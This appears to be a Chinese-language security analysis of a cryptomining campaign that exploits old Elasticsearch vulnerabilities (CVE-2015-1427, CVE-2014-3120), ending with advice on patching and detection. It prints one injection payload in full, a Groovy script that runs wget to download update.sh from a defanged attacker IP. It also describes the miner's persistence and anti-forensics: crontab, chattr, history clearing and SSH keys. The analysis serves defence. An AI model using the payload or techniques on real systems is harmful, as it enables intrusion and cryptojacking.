加密货币挖矿机利用Elasticsearch漏洞进行传播原理解析

ElasticSearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎,基于RESTful web接口。Elasticsearch是用Java开发的,并作为Apache许可条款下的开放源码发布,是当前流行的企业级搜索引擎。能够达到实时搜索,稳定,可靠,快速,安装和使用方便。
研究人员在含有Elasticsearch搜索引擎的蜜罐系统中检测到挖矿活动。挖矿攻击活动利用了已知的CVE-2015-1427和CVE-2014-3120漏洞。CVE-2015-1427是Groovy脚本引擎漏洞,允许远程攻击者通过构造的脚本来远程执行任意shell命令。CVE-2014-3120是Elasticsearch的默认配置漏洞。目前Elasticsearch已不再支持有漏洞的版本了。
研究人员在运行Elasticsearch的服务器上运行下面的查询命令:
“{“lupin”:{“script”: “java.lang.Math.class.forName(”java.lang.Runtime”).getRuntime().exec(”wget hxxp://69[.]30[.]203[.]170/gLmwDU86r9pM3rXf/update.sh -P
/tmp/sssooo”).getText()”}}}”
相同的攻击系统和攻击主机也使用了相同的命令,该命令也保存着payload。该IP被解析对应的域名为 matrixhazel[.]com,截止目前该IP已经不能访问了。

图 1. GreyNoise将主机标记为已知的扫描器
挖矿机首先调用shell和运行下载的命令传播bash脚本update.sh,命令的输出被设置为/tmp/sssooo文件。使用/tmp文件是因为在大多数系统中默认的限制比较少。
攻击非常简单,对受害者会带来明显的影响。一旦攻击者获取运行任意命令的能力,就可以尝试进行权限提升,甚至转向其他系统来入侵整个网络。
虽然攻击的方法是差不多的,但是payload可能是不同的。比如研究人员分析的样本中,payload就是update.sh。运行后,update.sh脚本会下载两个文件:devtools和config.json。脚本随后会应用加密货币挖矿机。
挖矿机的ELF64二进制文件其实是devtools,用来帮助更好地伪装挖矿机,因为devtools是GitHub上常见的一款工具。挖矿机使用的配置在config.json文件中。

图 2. config.json配置文件
这种方案之前也是被恶意软件广泛使用了,但是封装脚本有许多其他有趣的函数。代码风格与黑客工具非常相似,代码的一部分也出现在Xbash相关的恶意软件中。

加密货币挖矿机的应用
挖矿机含有三个文件,可以通过bash中的wget, curl 或url命令下载:

图 3. wget, curl, url命令
挖矿机可以下载以下内容:
Devtools – 真实的挖矿机
Update.sh – 用于下载其他部分的bash脚本
Config.json – 挖矿机的配置文件
首先,恶意软件会尝试将这些文件保存在/etc/,如果失败的话,就尝试保存在/tmp目录。研究人员发现在分析的样本中保存在/tmp中是成功的。之后,检查机器中是否有其他挖矿活动。这是假设该设备已经被攻击过了,并尝试从之前的攻击者处去劫持机器。这个过程有可能被用于更新挖矿机到更新的版本。

图 4. 样本中允许挖矿机清除其他已有挖矿机的命令
如果在系统中检测到其他挖矿机,运行的与挖矿机相关的其他进程都会被杀掉。还会重置crontab,这样cron就不会开启其他挖矿机了。


图 5. 系统中其他被杀掉的挖矿机进程
然后挖矿机会把自己加入到crontab中,并每10分钟运行一次。每次运行时,都会用chattr -i先解锁自己,并更新其文件,最后用chattr +i来保护文件来防止文件被低权限的用户所修改或删除。挖矿机还会清除历史记录来防止被追踪,如图8所示。其中有趣的一点是当脚本在root目录运行时,脚本会尝试将自己的SSH key加入到authorized_keys中,这样就可以无密码登陆了。但是命令顺序有问题,导致key刚加入authorized_keys就被移除了。

图 6. 挖矿机的其他功能:组件保护、通过crontab完成驻留、网络流量加密

图 7. 挖矿机修改系统的iptables/firewall


图 8. 挖矿机通过清除历史记录和文件来防止被追踪

结论和建议
为了预防利用Elasticsearch已知漏洞的攻击,对系统定期打补丁非常有必要,而且需要对系统进行安全监控。Elasticsearch中注入的命令有一些共同点:
都使用shell来运行命令;
都含有从远程/本地位置下载文件的命令,比如curl, wget, url, ftp/get等;
下载文件到/etc或/tmp目录;
在下载恶意文件的过程中,主机尝试所有下载文件的位置和要在本地系统运行的命令。
检测相关的攻击非常重要,需要通过以下措施:
对Elasticsearch使用记录日志,监控可能被用于命令注入的字符串;
监控系统行为。只有授权的用户和解决方案才能使用shell;
通过相关性对网络流量进行分类。本例中,恶意IP每10分钟被调用一次。这可以被用于进程监控和流量分析中。